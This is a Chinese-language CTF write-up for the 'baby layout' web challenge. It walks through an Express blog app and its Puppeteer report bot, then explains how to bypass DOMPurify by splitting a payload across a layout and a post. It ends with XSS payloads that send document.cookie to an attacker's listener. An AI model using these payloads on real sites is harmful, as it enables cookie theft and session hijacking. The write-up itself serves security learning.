baby layout
下载源码:
/index.js
import express from 'express';
import session from 'express-session';
import rateLimit from 'express-rate-limit';
import { randomBytes } from 'crypto';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const { window } = new JSDOM();
const DOMPurify = createDOMPurify(window);
const posts = new Map();
const DEFAULT_LAYOUT = `
<article>
<h1>Blog Post</h1>
<div>{{content}}</div>
</article>
`;
const LENGTH_LIMIT = 500;
const app = express();
app.use(express.json());
app.set('view engine', 'ejs');
if (process.env.NODE_ENV === 'production') {
app.use(
'/api',
rateLimit({
windowMs: 60 * 1000,
max: 10,
}),
);
}
app.use(session({
secret: randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: false,
}));
app.use((req, _, next) => {
if (!req.session.layouts) {
req.session.layouts = [DEFAULT_LAYOUT];
req.session.posts = [];
}
next();
});
app.get('/', (req, res) => {
res.setHeader('Cache-Control', 'no-store');
res.render('home', {
posts: req.session.posts,
maxLayout: req.session.layouts.length - 1,
});
});
app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
return res.status(400).send('Invalid params');
}
if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');
const layout = req.session.layouts[layoutId];
if (layout === undefined) return res.status(400).send('Layout not found');
const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);
if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');
const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id);
console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);
return res.json({ id });
});
app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string') return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');
const sanitizedLayout = DOMPurify.sanitize(layout);
const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});
app.get('/post/:id', (req, res) => {
const { id } = req.params;
const body = posts.get(id);
if (body === undefined) return res.status(404).send('Post not found');
return res.render('post', { id, body });
});
app.post('/api/clear', (req, res) => {
req.session.layouts = [DEFAULT_LAYOUT];
req.session.posts = [];
return res.send('cleared');
});
app.listen(3000, () => {
console.log('Web server running on port 3000');
});
一段一段慢慢分析
引入模块
import express from 'express';
import session from 'express-session';
import rateLimit from 'express-rate-limit';
import { randomBytes } from 'crypto';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
是express
框架用于构建web应用的,然后express-session
用于管理会话,express-rate-limit
用于限制请求的频率的(API),crypto
模块的randomBytes
用于生成随机字节,dompurify
用于精华HTNL防止XSS攻击,jsdom
用于在Node.js环境中模拟DOM
用于初始化和配置
const { window } = new JSDOM();
const DOMPurify = createDOMPurify(window);
const posts = new Map();
const DEFAULT_LAYOUT = `
<article>
<h1>Blog Post</h1>
<div>{{content}}</div>
</article>
`;
const LENGTH_LIMIT = 500;
const app = express();
app.use(express.json());
app.set('view engine', 'ejs');
利用JSDOM
创建虚拟window对象,用于初始化DOMPurify
创建MAp对象posts用于存储博客文章
定义自动化布局DEFAULT_LAYOUT
和长度限制LENGTH_LIMIT
最后初始化express
应用,启用了json
解析的中间件,并且视图引擎为EJS
这一段用于速率限制和会话的设置
if (process.env.NODE_ENV === 'production') {
app.use(
'/api',
rateLimit({
windowMs: 60 * 1000,
max: 10,
}),
);
}
app.use(session({
secret: randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: false,
}));
env
生产环境下,对/api
路径的请求进行速率限制,每分钟最多允许 10 次请求
配置了会话中间件,使用随机生成的密钥,并且不自动重新保存未修改的会话和不保存未初始化的会话
app.use((req, _, next) => {
if (!req.session.layouts) {
req.session.layouts = [DEFAULT_LAYOUT];
req.session.posts = [];
}
next();
});
做了一个判断,就是如果用户对话中没有layouts
和post
属性,就会初始化他们,其中latouts
初始化为包含默认布局的数组,post
初始化为空数组
app.get('/', (req, res) => {
res.setHeader('Cache-Control', 'no-store');
res.render('home', {
posts: req.session.posts,
maxLayout: req.session.layouts.length - 1,
});
});
GET /
:渲染页面,设置了响应头Cache-Control
为no-store
,防止浏览器缓存页面。传递用户会话中的文章列表和最大布局 ID 给 EJS 模板
然后是创建上传文章的路由
app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
return res.status(400).send('Invalid params');
}
if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');
const layout = req.session.layouts[layoutId];
if (layout === undefined) return res.status(400).send('Layout not found');
const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);
if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');
const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id);
console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);
return res.json({ id });
});
验证content
和layoutId
是否合法,还检查了长度限制,使用DOMPurify
对content
进行净化,防止 XSS 攻击,将净化后的content
替换布局模板中的{{content}}
占位符,关键也就是利用这一点,使得我们能够绕过
最后检查生成的文章是否超过限制,生成唯一ID存储到posts
当中,并添加到列表当中
然后日志会记录并返回文章的ID
创建布局的路由
app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string') return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');
const sanitizedLayout = DOMPurify.sanitize(layout);
const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});
用于创建路由,其中验证layouts
是否为字符串,检查长度同时防止xss攻击
然后将清理后的 layout
数据存储到会话(session)中
剩下的就是关于404返回以及清除数据的功能了
app.listen(3000, () => {
console.log('Web server running on port 3000');
});
启动Express
服务器,监听3000端口,并在服务器启动后输出日志信息
然后去分析bot
里的文件
/index.js
import express from 'express';
import rateLimit from 'express-rate-limit';
import pLimit from 'p-limit';
import { cpus } from 'os';
import visit from './visit.js';
const app = express();
app.use(express.json());
app.use(express.static('public'));
app.use(
'/api',
rateLimit({
windowMs: 60 * 1000,
max: 2,
}),
);
const CONCURRENCY = cpus().length * 2 - 1;
const MAX_PENDING = CONCURRENCY * 2;
const limit = pLimit(CONCURRENCY);
app.post('/api/report', async (req, res) => {
const { postId } = req.body;
if (typeof postId !== 'string' || !/^[a-f0-9]{32}$/.test(postId)) {
return res.status(400).send('Invalid post ID');
}
if (limit.pendingCount >= MAX_PENDING) {
console.log(`Server is busy: ${limit.pendingCount}`);
return res.status(503).send('Server is busy');
}
try {
await limit(visit, postId);
return res.sendStatus(200);
} catch (e) {
console.error(e);
return res.status(500).send('Something went wrong');
}
});
app.listen(1337, () => {
console.log('Bot server running on port 1337');
});
/visit.js
import puppeteer from 'puppeteer';
const FLAG = process.env.FLAG ?? 'fake{dummy}';
const APP_HOST = 'web';
const APP_PORT = '3000';
const APP_URL = `http://${APP_HOST}:${APP_PORT}`;
const sleep = (ms) => new Promise((resolve) => {
setTimeout(resolve, ms);
});
export default async function visit(postId) {
const url = new URL(`/post/${postId}`, APP_URL).href;
console.log(`start: ${url}`);
const browser = await puppeteer.launch({
headless: 'new',
executablePath: '/usr/bin/chromium',
args: [
'--no-sandbox',
'--disable-dev-shm-usage',
'--disable-gpu',
'--js-flags="--noexpose_wasm"',
],
});
const context = await browser.createBrowserContext();
await context.setCookie({
name: 'FLAG',
value: FLAG,
domain: APP_HOST,
httpOnly: false,
sameSite: 'Strict',
});
try {
const page = await context.newPage();
await page.goto(url, { timeout: 5000, waitUntil: 'domcontentloaded' });
await sleep(5000);
await page.close();
} catch (err) {
console.error(err);
}
await context.close();
await browser.close();
console.log(`end: ${url}`);
}
还是一段段分析一下吧,不过我们可以看到flag在cookie里面
导入模块部分
import express from 'express';
import rateLimit from 'express-rate-limit';
import pLimit from 'p-limit';
import { cpus } from 'os';
import visit from './visit.js';
express框架
express-rate-limit:用于限制客户端对 API 的请求频率,防止恶意攻击,如暴力破解或 DoS 攻击。
p-limit:一个用于控制并发执行异步任务数量的库,确保在同一时间内只有指定数量的任务在执行。
os:Node.js 的内置模块,cpus() 方法用于获取当前系统的 CPU 核心信息。
visit:从 ./visit.js 文件中导入的一个函数,具体功能由该文件定义,推测可能与访问特定的文章或资源有关
const app = express();
app.use(express.json());
app.use(express.static('public'));
app.use(
'/api',
rateLimit({
windowMs: 60 * 1000,
max: 2,
}),
);
用于初始化和中间件的配置
对速率进行了限制,对 /api 路径下的请求进行速率限制,在 60 秒(windowMs)内,每个客户端最多只能发送 2 个请求(max)
const CONCURRENCY = cpus().length * 2 - 1;
const MAX_PENDING = CONCURRENCY * 2;
const limit = pLimit(CONCURRENCY);
//CONCURRENCY:并发任务的最大数量,根据系统的 CPU 核心数计算得出,通常为 CPU 核心数的两倍减一。这样设置可以充分利用系统资源,同时避免过多的并发任务导致系统过载。
MAX_PENDING:最大待处理任务数量,为并发任务数量的两倍。当待处理任务数量超过这个值时,服务器将拒绝新的请求。
limit:使用 p-limit 库创建一个并发控制实例,限制同时执行的异步任务数量为 CONCURRENCY
app.post('/api/report', async (req, res) => {
const { postId } = req.body;
if (typeof postId !== 'string' || !/^[a-f0-9]{32}$/.test(postId)) {
return res.status(400).send('Invalid post ID');
}
if (limit.pendingCount >= MAX_PENDING) {
console.log(`Server is busy: ${limit.pendingCount}`);
return res.status(503).send('Server is busy');
}
try {
await limit(visit, postId);
return res.sendStatus(200);
} catch (e) {
console.error(e);
return res.status(500).send('Something went wrong');
}
});
这一段主要是路由的处理
/api/report处理客户端发送的报告请求,参数验证,使用limit函数和postID参数传入,确保visit函数在并发的控制范围内执行
是使用了DOMPurify
进行了防护
主要就是利用这两代码
app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
return res.status(400).send('Invalid params');
}
if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');
const layout = req.session.layouts[layoutId];
if (layout === undefined) return res.status(400).send('Layout not found');
const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);
if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');
const id = randomBytes(16).toString('hex');
posts.set(id, body);
req.session.posts.push(id);
console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);
return res.json({ id });
});
app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string') return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');
const sanitizedLayout = DOMPurify.sanitize(layout);
const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});
分析出来怎么利用的了,仔细看在/api/layout
下的代码
const sanitizedLayout = DOMPurify.sanitize(layout);
const id = req.session.layouts.length;
req.session.layouts.push(sanitizedLayout);
就是说在layouts
中传的东西净化后会存到那sanitizedContent
在这个路由下,是先使用DOMPurify
进行了净化的,净化之后才拼接的下
layout 是一个包含模板标记的字符串,模板标记为 {{content}}。
replace 是 JavaScript 字符串的方法,用于替换字符串中的指定内容。
/\{\{content\}\}/g 是一个正则表达式,其中 \{\{ 和 \}\} 是对 {{ 和 }} 的转义,因为 { 和 } 在正则表达式中有特殊含义;g 是全局匹配标志,表示会替换字符串中所有匹配的内容。
() => sanitizedContent 是一个回调函数,每次匹配到 {{content}} 时,会调用这个函数并将其返回值作为替换内容。因此,所有的 {{content}} 都会被替换为净化后的内容 sanitizedContent
所以我们就可以进行拼接,用俩无恶意的payload是他最后拼接构造成我们想要的恶意payload,他匹配到{{content}}就会自动替换拼接
测试一下:
layouts:
<img src=s{{content}}
post:
" onerror="alert(1)
测试成功
" onerror=fetch(`http://[ip]:9999/`+document.cookie)
" onerror="window.open('http://[ip]:9999/?p='+document.cookie)
连上了,如果没有,那就去report一下,然后开启python服务看
在此重新看这道题目,发现对于XSS的花样还是很多的,对于XSS的学习还得继续深入~~~